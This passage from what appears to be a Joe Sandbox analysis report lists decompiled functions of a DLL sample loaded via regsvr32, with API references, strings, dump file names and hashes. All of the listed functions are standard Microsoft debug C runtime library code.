				E000007FE7FEF9D26840(_t102,  &_v88);
				_v96 = _v24;
				_v104 = _a8;
				r9d = 1;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f2f8;
				0xf9d2ab30();
				 *((intOrPtr*)( *_t149)) = 0x2a;
				_v44 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				_v40 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				return E000007FE7FEF9D26800( &_v88);
			}

0x7fef9d3f000
0x7fef9d3f005
0x7fef9d3f00a
0x7fef9d3f00f
0x7fef9d3f024
0x7fef9d3f02f
0x7fef9d3f033
0x7fef9d3f038
0x7fef9d3f045
0x7fef9d3f050
0x7fef9d3f05c
0x7fef9d3f061
0x7fef9d3f073
0x7fef9d3f07d
0x7fef9d3f082
0x7fef9d3f08c
0x7fef9d3f093
0x7fef9d3f0a2
0x7fef9d3f0a4
0x7fef9d3f0ab
0x7fef9d3f0b0
0x7fef9d3f0b3
0x7fef9d3f0c5
0x7fef9d3f0cd
0x7fef9d3f0cf
0x7fef9d3f0d7
0x7fef9d3f0e3
0x7fef9d3f0ee
0x7fef9d3f0f0
0x7fef9d3f103
0x7fef9d3f106
0x7fef9d3f113
0x7fef9d3f11c
0x7fef9d3f126
0x7fef9d3f140
0x7fef9d3f14b
0x7fef9d3f150
0x7fef9d3f15a
0x7fef9d3f165
0x7fef9d3f16a
0x7fef9d3f17a
0x7fef9d3f185
0x7fef9d3f187
0x7fef9d3f18f
0x7fef9d3f191
0x7fef9d3f19e
0x7fef9d3f1a3
0x7fef9d3f1a6
0x7fef9d3f1b0
0x7fef9d3f1bc
0x7fef9d3f1c8
0x7fef9d3f1d2
0x7fef9d3f1f1
0x7fef9d3f1f8
0x7fef9d3f20f
0x7fef9d3f211
0x7fef9d3f21f
0x7fef9d3f221
0x7fef9d3f226
0x7fef9d3f22c
0x7fef9d3f239
0x7fef9d3f242
0x7fef9d3f24c
0x7fef9d3f251
0x7fef9d3f25a
0x7fef9d3f263
0x7fef9d3f268
0x7fef9d3f271
0x7fef9d3f27f
0x7fef9d3f281
0x7fef9d3f289
0x7fef9d3f28b
0x7fef9d3f298
0x7fef9d3f2a4
0x7fef9d3f2b0
0x7fef9d3f2b5
0x7fef9d3f2d3
0x7fef9d3f2d5
0x7fef9d3f2da
0x7fef9d3f2e0
0x7fef9d3f2ed
0x7fef9d3f2f6
0x7fef9d3f2f8
0x7fef9d3f305
0x7fef9d3f30e
0x7fef9d3f321

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F113
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D3F1E9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F239
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F263

Strings

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2, xrefs: 000007FEF9D3F0A4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c, xrefs: 000007FEF9D3F0B9

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID: _loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c
API String ID: 3162172745-1617866167
Opcode ID: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction ID: 684ba7971de88d1067c150b2dc8aa1ec623b130c6e00156a0851ae80eca3a1f6
Opcode Fuzzy Hash: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction Fuzzy Hash: A9913C32A1C78586E7A0DB19E8507AEB7E0F785B45FA08136E6CD837A5DB3ED444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26BF0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Part of subcall function 000007FEF9D2C170: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D26E74

Strings

_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
Data: <%s> %s, xrefs: 000007FEF9D26E49
(*_errno()), xrefs: 000007FEF9D26DF9
%.2X , xrefs: 000007FEF9D26DAD
, xrefs: 000007FEF9D26D3E

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invoke_watson_if_oneof_swprintf_p
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 792801276-1329727594
Opcode ID: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction ID: 74944a5c68176a92a31906070f765b18f74d9586b7891cebb3d67554b9ce35f5
Opcode Fuzzy Hash: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction Fuzzy Hash: B2613872A0D7C186E7B49B10E8907AEBBA0F784740FA18126D6CD47BA9DB3ED404CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F900 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D3F913
__doserrno.LIBCMTD ref: 000007FEF9D3F99E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3F9D8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c, xrefs: 000007FEF9D3F97E, 000007FEF9D3F9C3, 000007FEF9D3FA4D, 000007FEF9D3FA92
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3FA38, 000007FEF9D3FAA0
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3F969, 000007FEF9D3F9D1
_get_osfhandle, xrefs: 000007FEF9D3F9CA, 000007FEF9D3FA99

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_get_osfhandle$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c
API String ID: 747159061-3177431134
Opcode ID: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction ID: efe890aaf17933dee885bd0091a5358479214bdc632742ad2579ba78141b5705
Opcode Fuzzy Hash: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction Fuzzy Hash: 25518C32A1864A86F7909B59E88076EB3E1F3807A5F609321E1ED077F5D7BED500CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BA60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2BAFB
HeapSize.KERNEL32 ref: 000007FEF9D2BB40
HeapReAlloc.KERNEL32 ref: 000007FEF9D2BB61
_is_LFH_enabled.LIBCMTD ref: 000007FEF9D2BB8B

Strings

_expand_base, xrefs: 000007FEF9D2BAED
pBlock != NULL, xrefs: 000007FEF9D2BA97, 000007FEF9D2BAF4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c, xrefs: 000007FEF9D2BAAC, 000007FEF9D2BAE6

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$AllocH_enabledSize_invalid_parameter_is_
String ID: _expand_base$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c$pBlock != NULL
API String ID: 1608253119-1427866139
Opcode ID: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction ID: af7a509f9d9663d3d091774dda128b819ecaca6506a1d0d194354ddf51f74ba4
Opcode Fuzzy Hash: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction Fuzzy Hash: 0F41573191DB4686E7A09B20F84436E72E0F786780F614135E6CD43AF8CBBEE485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D386B0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3876B
_invalid_parameter.LIBCMTD ref: 000007FEF9D3883D
_invalid_parameter.LIBCMTD ref: 000007FEF9D38B4C

Strings

format != NULL, xrefs: 000007FEF9D38707, 000007FEF9D38764
("Buffer too small", 0), xrefs: 000007FEF9D38AE8, 000007FEF9D38B45
string != NULL && sizeInWords > 0, xrefs: 000007FEF9D387D9, 000007FEF9D38836
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D3871C, 000007FEF9D38756, 000007FEF9D387EE, 000007FEF9D38828, 000007FEF9D38AFD, 000007FEF9D38B37
_vsnwprintf_s_l, xrefs: 000007FEF9D3875D, 000007FEF9D3882F, 000007FEF9D38B3E

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnwprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c$format != NULL$string != NULL && sizeInWords > 0
API String ID: 2123368286-2958264153
Opcode ID: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction ID: 82e3240dde4e8d48ae566a9cb8a6505450234aa7e72eaba3f84792f0d3cada8d
Opcode Fuzzy Hash: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction Fuzzy Hash: 3CE14D31A1DA868AEBB48B24E84076EB3E0F385765F204225E6DD43BE5DB7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C1A3 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C1F1

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
-, xrefs: 000007FEF9D3CA54
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-569934968
Opcode ID: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction ID: 28cad1f176e9be3240a3a6eae7be917d28bff7715537f6893ff636485155e31a
Opcode Fuzzy Hash: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction Fuzzy Hash: 4AD11D7260DBC58BE7B1CB65E8507AEB7E4F384785F200125EAC886AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BFDE Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3BFDE(char _a696, char _a976) {

				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
7, xrefs: 000007FEF9D3BFFE
, xrefs: 000007FEF9D3CA88
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: wctomb_s
String ID: $("Incorrect format specifier", 0)$7$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2215178078-1895985292
Opcode ID: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction ID: 997c34190204a200d34649c4b27f82da9c53e16be2ae3c50a0a3632b50fb2b35
Opcode Fuzzy Hash: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction Fuzzy Hash: E5B12E7260C7C68AE7B1CB24E8457AEB7E4F384785F604126DAD887AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32260 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32310
_invalid_parameter.LIBCMTD ref: 000007FEF9D323B4
_invalid_parameter.LIBCMTD ref: 000007FEF9D32505

Strings

format != NULL, xrefs: 000007FEF9D322AC, 000007FEF9D32309
_vsprintf_s_l, xrefs: 000007FEF9D32302, 000007FEF9D323A6, 000007FEF9D324F7
("Buffer too small", 0), xrefs: 000007FEF9D324A1, 000007FEF9D324FE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D322C1, 000007FEF9D322FB, 000007FEF9D32365, 000007FEF9D3239F, 000007FEF9D324B6, 000007FEF9D324F0
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D32350, 000007FEF9D323AD

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL$string != NULL && sizeInBytes > 0
API String ID: 2123368286-348877268
Opcode ID: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction ID: 912ac3d754b702bf63931d64d46681ea7dc30ff1a731304ef262a69894a36d33
Opcode Fuzzy Hash: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction Fuzzy Hash: 60913A32A0DA4286E7A08B68E84476E77E0F394365F204625E7DD43AF8DB7EE5458F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BB66 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D32B90: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D32BD7

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BC75
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BC8A

Strings

(ch != _T('\0')), xrefs: 000007FEF9D3BC0E, 000007FEF9D3BC6E
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3BC67
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3BC23, 000007FEF9D3BC60

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$(ch != _T('\0'))$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-4087627024
Opcode ID: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction ID: 0390e2d988dd4d1b4c77dc3c399ba89b4ed25e2388807167c80bf5b266a398b6
Opcode Fuzzy Hash: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction Fuzzy Hash: 95713A72A0D6C286E7F09B24E8947BEB7E4E384345F604126D6CD86AA9DB3ED540CF11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30FD0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D31084

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c, xrefs: 000007FEF9D31035, 000007FEF9D3106F, 000007FEF9D310FA, 000007FEF9D31134, 000007FEF9D3119A, 000007FEF9D311D4
src != NULL, xrefs: 000007FEF9D310E5, 000007FEF9D31142
dst != NULL, xrefs: 000007FEF9D31020, 000007FEF9D3107D
memcpy_s, xrefs: 000007FEF9D31076, 000007FEF9D3113B, 000007FEF9D311DB
sizeInBytes >= count, xrefs: 000007FEF9D31185, 000007FEF9D311E2

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: dst != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c$memcpy_s$sizeInBytes >= count$src != NULL
API String ID: 2123368286-3692278645
Opcode ID: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction ID: a0804de238eaeeb3fb2e5788e9c0a34a411087d46cc23648724fab17a52a0f2c
Opcode Fuzzy Hash: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction Fuzzy Hash: 0E513C31A1C68686F7A0CB24E8447BE76E5F384344F604136E6CD47AB8DBBEE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BC30 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_base.LIBCMTD ref: 000007FEF9D2BC55
_free_base.LIBCMTD ref: 000007FEF9D2BC6C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_base_malloc_base
String ID:
API String ID: 3824334587-0
Opcode ID: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction ID: 495d8382669efda2ae004298a380b2f700874c64e4d866c5cb6fbd4b09cb9029
Opcode Fuzzy Hash: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction Fuzzy Hash: AC312D3191D68285E7E49B60EC0437EA3E1F7853A4F214535A6DE466F5CFBEE4809B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D263E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D26476

Strings

Bad memory block found at 0x%p., xrefs: 000007FEF9D26603
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26427, 000007FEF9D26461
Bad memory block found at 0x%p.Memory allocated at %hs(%d)., xrefs: 000007FEF9D265D4
_CrtMemCheckpoint, xrefs: 000007FEF9D26468
state != NULL, xrefs: 000007FEF9D26412, 000007FEF9D2646F

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: Bad memory block found at 0x%p.$Bad memory block found at 0x%p.Memory allocated at %hs(%d).$_CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$state != NULL
API String ID: 2123368286-817335350
Opcode ID: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction ID: bdf1888ae082cb337f1151e8154f2efa45ef3de29dcf6e6b26155e3a2b634fb1
Opcode Fuzzy Hash: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction Fuzzy Hash: 6461FB36A18B4586EB64CB19E89132E77A0F785794F714126EBCD83BB4CB3ED451CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CFF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D2CFF0(intOrPtr _a8) {
				intOrPtr _v24;
				long long _v48;
				long long _v64;
				intOrPtr _t21;

				_a8 = _t21;
				_v48 = 0;
				_v64 = 0;
				_v24 = _a8;
				_v24 = _v24 - 2;
				if (_v24 - 0x14 > 0) goto 0xf9d2d13e;
				goto __rax;
			}

0x7fef9d2cff0
0x7fef9d2cff8
0x7fef9d2d000
0x7fef9d2d010
0x7fef9d2d01b
0x7fef9d2d024
0x7fef9d2d048

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D1C9

Strings

("Invalid signal or error", 0), xrefs: 000007FEF9D2D165, 000007FEF9D2D1C2
raise, xrefs: 000007FEF9D2D1BB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c, xrefs: 000007FEF9D2D17A, 000007FEF9D2D1B4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c$raise
